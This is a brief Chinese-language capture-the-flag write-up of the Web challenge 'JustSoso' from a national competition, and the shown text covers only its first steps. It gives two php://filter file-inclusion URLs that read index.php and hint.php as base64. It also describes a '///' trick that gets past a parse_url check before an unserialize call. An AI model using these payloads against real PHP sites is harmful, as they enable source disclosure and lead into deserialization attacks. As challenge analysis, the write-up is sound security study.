这次国赛的Web题目质量还不错,这里做个记录。
JustSoso
根据 html注释 结合 php伪协议 ,可以读取出 index.php 和 hint.php 的源代码。
http://xxx/index.php?file=php://filter/read/convert.base64-encode/resource=index.php
http://xxx/index.php?file=php://filter/read/convert.base64-encode/resource=hint.php
index.php 中会反序列化 $_GET[“payload”] ,且 parse_url 函数处理后不能包含 flag 字符串,用 /// 即可绕过 parse_url 函数,具体可参考 http://www.am0s.com/functions/406.html